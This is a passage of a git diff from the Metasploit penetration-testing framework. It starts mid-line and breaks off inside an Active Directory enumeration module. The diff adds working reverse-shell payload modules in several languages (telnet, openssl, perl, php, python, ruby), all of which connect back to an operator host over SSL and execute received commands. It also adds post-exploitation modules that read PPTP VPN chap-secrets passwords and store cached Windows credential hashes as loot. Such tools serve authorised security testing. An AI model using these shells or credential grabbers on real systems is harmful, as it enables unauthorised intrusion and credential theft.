Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/
diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
new file mode 100644
index 0000000000..b675712c9a
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb
@@ -0,0 +1,63 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)',
+ 'Version' => '$Revision$',
+ 'Description' => %q{
+ Creates an interactive shell via mknod and telnet.
+ This method works on Debian and other systems compiled
+ without /dev/tcp support. This module uses the '-z'
+ option included on some systems to encrypt using SSL.
+ },
+ 'Author' => 'RageLtMan',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd_bash',
+ 'RequiredCmd' => 'bash-tcp',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 )
+ cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &"
+ end
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb
new file mode 100644
index 0000000000..ab9c0c2a13
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb
@@ -0,0 +1,58 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_double_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)',
+ 'Description' => 'Creates an interactive shell through two inbound connections',
+ 'Author' => 'hdm',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'openssl',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ cmd =
+ "sh -c '(sleep #{3600+rand(1024)}|" +
+ "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" +
+ "while : ; do sh && break; done 2>&1|" +
+ "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" +
+ " >/dev/null 2>&1 &)'"
+ return cmd
+ end
+
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
new file mode 100644
index 0000000000..96724f20e7
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb
@@ -0,0 +1,63 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Creates an interactive shell via perl, uses SSL',
+ 'Author' => 'RageLtMan',
+ 'License' => BSD_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'perl',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ lhost = datastore['LHOST']
+ ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
+ cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
+ cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
+ end
+
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
new file mode 100644
index 0000000000..9892515e26
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb
@@ -0,0 +1,61 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Creates an interactive shell via php, uses SSL',
+ 'Author' => 'RageLtMan',
+ 'License' => BSD_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'php',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ lhost = datastore['LHOST']
+ ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&"
+ end
+
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
new file mode 100644
index 0000000000..a7e232d24b
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
@@ -0,0 +1,79 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
+ 'Author' => 'RageLtMan',
+ 'License' => BSD_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'python',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ cmd = ''
+ dead = Rex::Text.rand_text_alpha(2)
+ # Set up the socket
+ cmd += "import socket,subprocess,os,ssl\n"
+ cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
+ cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
+ cmd += "s=ssl.wrap_socket(so)\n"
+ # The actual IO
+ cmd += "#{dead}=False\n"
+ cmd += "while not #{dead}:\n"
+ cmd += "\tdata=s.recv(1024)\n"
+ cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
+ cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
+ cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
+ cmd += "\ts.send(stdout_value)\n"
+
+ # The *nix shell wrapper to keep things clean
+ # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
+ cmd = "python -c \"exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))\""
+ cmd += ' >/dev/null 2>&1 &'
+ return cmd
+
+ end
+
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
new file mode 100644
index 0000000000..6743def9e9
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb
@@ -0,0 +1,49 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via Ruby)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
+ 'Author' => 'RageLtMan',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'ruby',
+ 'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+ ))
+ end
+
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ def command_string
+ lhost = datastore['LHOST']
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
+ end
+end
diff --git a/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb
new file mode 100644
index 0000000000..593e69d716
--- /dev/null
+++ b/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb
@@ -0,0 +1,67 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_double_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Double reverse TCP SSL (telnet)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option',
+ 'Author' => [
+ 'hdm', # Original module
+ 'RageLtMan', # SSL support
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'unix',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpDoubleSSL,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'cmd',
+ 'RequiredCmd' => 'telnet',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ cmd =
+ "sh -c '(sleep #{3600+rand(1024)}|" +
+ "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}|" +
+ "while : ; do sh && break; done 2>&1|" +
+ "telnet -z #{datastore['LHOST']} #{datastore['LPORT']}" +
+ " >/dev/null 2>&1 &)'"
+ return cmd
+ end
+
+end
diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
new file mode 100644
index 0000000000..ca70b10879
--- /dev/null
+++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
@@ -0,0 +1,77 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
+ 'Version' => '$Revision$',
+ 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
+ 'Author' => 'RageLtMan',
+ 'License' => BSD_LICENSE,
+ 'Platform' => 'python',
+ 'Arch' => ARCH_CMD,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'python',
+ 'Payload' =>
+ {
+ 'Offsets' => { },
+ 'Payload' => ''
+ }
+ ))
+ end
+
+ #
+ # Constructs the payload
+ #
+ def generate
+ vprint_good(command_string)
+ return super + command_string
+ end
+
+ #
+ # Returns the command string to use for execution
+ #
+ def command_string
+ cmd = ''
+ dead = Rex::Text.rand_text_alpha(2)
+ # Set up the socket
+ cmd += "import socket,subprocess,os,ssl\n"
+ cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
+ cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
+ cmd += "s=ssl.wrap_socket(so)\n"
+ # The actual IO
+ cmd += "#{dead}=False\n"
+ cmd += "while not #{dead}:\n"
+ cmd += "\tdata=s.recv(1024)\n"
+ cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
+ cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
+ cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
+ cmd += "\ts.send(stdout_value)\n"
+
+ # The *nix shell wrapper to keep things clean
+ # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
+ cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
+ return cmd
+
+ end
+
+end
diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb
index c7ccfff7b9..8a095ec25f 100644
--- a/modules/payloads/singles/ruby/shell_bind_tcp.rb
+++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb
@@ -6,6 +6,7 @@
##
require 'msf/core'
+require 'msf/core/payload/ruby'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
@@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
+ include Msf::Payload::Ruby
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
@@ -31,7 +33,7 @@ module Metasploit3
end
def generate
- return super + ruby_string
+ return prepends(ruby_string)
end
def ruby_string
diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
index 2e3926ca37..e0860b0074 100644
--- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
+++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb
@@ -6,6 +6,7 @@
##
require 'msf/core'
+require 'msf/core/payload/ruby'
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
@@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
+ include Msf::Payload::Ruby
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
@@ -31,7 +33,7 @@ module Metasploit3
end
def generate
- return super + ruby_string
+ return prepends(ruby_string)
end
def ruby_string
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
index 0e149754cf..0bffe88322 100644
--- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb
@@ -6,6 +6,7 @@
##
require 'msf/core'
+require 'msf/core/payload/ruby'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
@@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
+ include Msf::Payload::Ruby
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
@@ -31,7 +33,7 @@ module Metasploit3
end
def generate
- return super + ruby_string
+ return prepends(ruby_string)
end
def ruby_string
diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
new file mode 100644
index 0000000000..82f61c768d
--- /dev/null
+++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb
@@ -0,0 +1,52 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/payload/ruby'
+require 'msf/core/handler/reverse_tcp_ssl'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+ include Msf::Payload::Single
+ include Msf::Payload::Ruby
+ include Msf::Sessions::CommandShellOptions
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Ruby Command Shell, Reverse TCP SSL',
+ 'Version' => '$Revision$',
+ 'Description' => 'Connect back and create a command shell via Ruby, uses SSL',
+ 'Author' => 'RageLtMan',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'ruby',
+ 'Arch' => ARCH_RUBY,
+ 'Handler' => Msf::Handler::ReverseTcpSsl,
+ 'Session' => Msf::Sessions::CommandShell,
+ 'PayloadType' => 'ruby',
+ 'Payload' => { 'Offsets' => {}, 'Payload' => '' }
+ ))
+ end
+
+ def generate
+ rbs = prepends(ruby_string)
+ vprint_good rbs
+ return rbs
+ end
+
+ def ruby_string
+ lhost = datastore['LHOST']
+ lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
+ rbs = "require 'socket';require 'openssl';c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end"
+ return rbs
+ end
+end
diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb
new file mode 100644
index 0000000000..b351fbbb72
--- /dev/null
+++ b/modules/post/linux/gather/pptpd_chap_secrets.rb
@@ -0,0 +1,130 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'msf/core'
+require 'msf/core/post/common'
+
+class Metasploit3 < Msf::Post
+
+ include Msf::Post::Common
+ include Msf::Post::File
+ include Msf::Auxiliary::Report
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials',
+ 'Description' => %q{
+ This module collects PPTP VPN information such as client, server, password,
+ and IP from your target server's chap-secrets file.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'sinn3r'],
+ 'Platform' => [ 'linux' ],
+ 'SessionTypes' => [ "shell", "meterpreter" ]
+ ))
+
+ register_options(
+ [
+ OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets'])
+ ], self.class)
+ end
+
+
+ #
+ # Reads chap_secrets
+ #
+ def load_file(fname)
+ begin
+ data = cmd_exec("cat #{fname}")
+ rescue RequestError => e
+ print_error("Failed to retrieve file. #{e.message}")
+ data = ''
+ end
+
+ if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/
+ return :access_denied
+ elsif data =~ /\(No such file or directory\)$/
+ return :not_found
+ elsif data.empty?
+ return :empty
+ end
+
+ return data
+ end
+
+
+ #
+ # Extracts client, server, secret, and IP addresses
+ #
+ def extract_secrets(data)
+ tbl = Rex::Ui::Text::Table.new({
+ 'Header' => 'PPTPd chap-secrets',
+ 'Indent' => 1,
+ 'Columns' => ['Client', 'Server', 'Secret', 'IP']
+ })
+
+ data.each_line do |l|
+ # If this line is commented out, ignore it
+ next if l =~ /^[[:blank:]]*#/
+
+ found = l.split
+
+ # Nothing is found, skip!
+ next if found.empty?
+
+ client = (found[0] || '').strip
+ server = (found[1] || '').strip
+ secret = (found[2] || '').strip
+ ip = (found[3,found.length] * ", " || '').strip
+
+ report_auth_info({
+ :host => session.session_host,
+ :port => 1723, #PPTP port
+ :sname => 'pptp',
+ :user => client,
+ :pass => secret,
+ :type => 'password',
+ :active => true
+ })
+
+ tbl << [client, server, secret, ip]
+ end
+
+ if tbl.rows.empty?
+ print_status("This file has no secrets: #{datastore['FILE']}")
+ else
+ print_line(tbl.to_s)
+
+ p = store_loot(
+ 'linux.chapsecrets.creds',
+ 'text/csv',
+ session,
+ tbl.to_csv,
+ File.basename(datastore['FILE'] + ".txt")
+ )
+ print_good("Secrets stored in: #{p}")
+ end
+ end
+
+
+ def run
+ fname = datastore['FILE']
+ f = load_file(fname)
+
+ case f
+ when :access_denied
+ print_error("No permission to read: #{fname}")
+ when :not_found
+ print_error("Not found: #{fname}")
+ when :empty
+ print_status("File is actually empty: #{fname}")
+ else
+ extract_secrets(f)
+ end
+ end
+
+end
\ No newline at end of file
diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb
index dddf43ab7e..5795220174 100644
--- a/modules/post/windows/gather/cachedump.rb
+++ b/modules/post/windows/gather/cachedump.rb
@@ -516,9 +516,6 @@ class Metasploit3 < Msf::Post
end
end
- store_loot("mscache.creds", "text/csv", session, @credentials.to_csv,
- "mscache_credentials.txt", "MSCACHE Credentials")
-
print_status("John the Ripper format:")
john.split("\n").each do |pass|
@@ -527,8 +524,13 @@ class Metasploit3 < Msf::Post
if( @vista == 1 )
print_status("Hash are in MSCACHE_VISTA format. (mscash2)")
+ p = store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials")
+ print_status("MSCACHE v2 saved in: #{p}")
+
else
print_status("Hash are in MSCACHE format. (mscash)")
+ p = store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials")
+ print_status("MSCACHE v1 saved in: #{p}")
end
rescue ::Interrupt
diff --git a/modules/post/windows/gather/enum_ad_computers.rb b/modules/post/windows/gather/enum_ad_computers.rb
new file mode 100644
index 0000000000..7909ee8966
--- /dev/null
+++ b/modules/post/windows/gather/enum_ad_computers.rb
@@ -0,0 +1,233 @@
+##
+# ## This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+
+require 'rex'
+require 'msf/core'
+require 'msf/core/auxiliary/report'
+
+class Metasploit3 < Msf::Post
+
+ include Msf::Auxiliary::Report
+
+ def initialize(info={})
+ super( update_info( info,
+ 'Name' => 'Windows Gather AD Enumerate Computers',
+ 'Description' => %q{
+ This module will enumerate computers in the default AD directory.
+
+ Optional Attributes:
+ objectClass, cn, description, distinguishedName, instanceType, whenCreated,
+ whenChanged, uSNCreated, uSNChanged, name, objectGUID,
+ userAccountControl, badPwdCount, codePage, countryCode,
+ badPasswordTime, lastLogoff, lastLogon, localPolicyFlags,
+ pwdLastSet, primaryGroupID, objectSid, accountExpires,
+ logonCount, sAMAccountName, sAMAccountType, operatingSystem,
+ operatingSystemVersion, operatingSystemServicePack, serverReferenceBL,
+ dNSHostName, rIDSetPreferences, servicePrincipalName, objectCategory,
+ netbootSCPBL, isCriticalSystemObject, frsComputerReferenceBL,
+ lastLogonTimestamp, msDS-SupportedEncryptionTypes
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'Ben Campbell
' ],
+ 'Platform' => [ 'win' ],
+ 'SessionTypes' => [ 'meterpreter' ]
+ ))
+
+ register_options([
+ OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 20]),
+ OptBool.new('STORE', [true, 'Store file in loot.', false]),
+ OptString.new('ATTRIBS', [true, 'Attributes to retrieve.', 'dNSHostName,distinguishedName,description,operatingSystem'])
+ ], self.class)
+ end
+
+ def read_value(addr)
+ val_size = client.railgun.memread(addr-4,4).unpack('V*')[0]
+ value = client.railgun.memread(addr, val_size)
+ return value.strip
+ end
+
+ def run
+ unless session.platform == "x64/win64"
+ print_error("Does not work in x86 meterpreter (use x64 instead) see: http://dev.metasploit.com/redmine/issues/7639");
+ return
+ end
+
+ print_status("Connecting to default LDAP server")
+ session_handle = bind_default_ldap_server
+
+ return false unless session_handle
+
+ print_status("Querying default naming context")
+
+ query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"])
+ first_entry_attributes = query_result[0]['attributes']
+ defaultNamingContext = first_entry_attributes[0]['values'] # Value from First Attribute of First Entry
+
+ print_status("Default Naming Context #{defaultNamingContext}")
+
+ attributes = datastore['ATTRIBS'].split(',')
+
+ print_status("Querying computer objects - Please wait...")
+ results = query_ldap(session_handle, defaultNamingContext, 2, "(objectClass=computer)", attributes)
+
+ print_status("Unbinding from LDAP service.")
+ wldap32.ldap_unbind(session_handle)
+
+ results_table = Rex::Ui::Text::Table.new(
+ 'Header' => 'AD Computers',
+ 'Indent' => 1,
+ 'SortIndex' => -1,
+ 'Columns' => attributes
+ )
+
+ results.each do |result|
+ row = []
+
+ result['attributes'].each do |attr|
+ if attr['values'].nil?
+ row << ""
+ else
+ row << attr['values']
+ end
+ end
+
+ results_table << row
+
+ end
+
+ print_line results_table.to_s
+ if datastore['STORE']
+ stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv)
+ print_status("Results saved to: #{stored_path}")
+ end
+ end
+
+ def wldap32
+ return client.railgun.wldap32
+ end
+
+ def bind_default_ldap_server
+ vprint_status ("Initializing LDAP connection.")
+ session_handle = wldap32.ldap_sslinitA("\x00\x00\x00\x00", 389, 0)['return']
+ vprint_status("LDAP Handle: #{session_handle}")
+
+ if session_handle == 0
+ print_error("Unable to connect to LDAP server")
+ wldap32.ldap_unbind(session_handle)
+ return false
+ end
+
+ vprint_status ("Binding to LDAP server.")
+ bind = wldap32.ldap_bind_sA(session_handle, nil, nil, 0x0486)['return'] #LDAP_AUTH_NEGOTIATE 0x0486
+
+ if bind != 0
+ print_error("Unable to bind to LDAP server")
+ wldap32.ldap_unbind(session_handle)
+ return false
+ end
+
+ return session_handle
+ end
+
+ def query_ldap(session_handle, base, scope, filter, attributes)
+ vprint_status ("Searching LDAP directory.")
+ search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4)
